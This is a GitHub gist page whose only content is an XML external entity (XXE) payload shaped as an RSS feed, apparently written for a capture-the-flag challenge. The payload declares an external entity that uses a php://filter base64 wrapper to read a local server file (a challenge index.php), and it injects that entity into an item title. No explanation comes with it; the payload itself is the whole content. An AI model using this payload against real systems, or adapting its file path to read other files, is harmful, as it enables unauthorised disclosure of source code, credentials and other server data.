Skip to content

Instantly share code, notes, and snippets.

@hackallcode

hackallcode/gist:76c336788cfacd0d777bd19f750dd137

Created September 25, 2019 16:32
Show Gist options
  • Save hackallcode/76c336788cfacd0d777bd19f750dd137 to your computer and use it in GitHub Desktop.
Save hackallcode/76c336788cfacd0d777bd19f750dd137 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >
]>
<rss version="2.0">
<channel>
<title></title>
<link></link>
<description></description>
<item>
<title>&xxe;</title>
<link></link>
<description></description>
</item>
</channel>
</rss>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment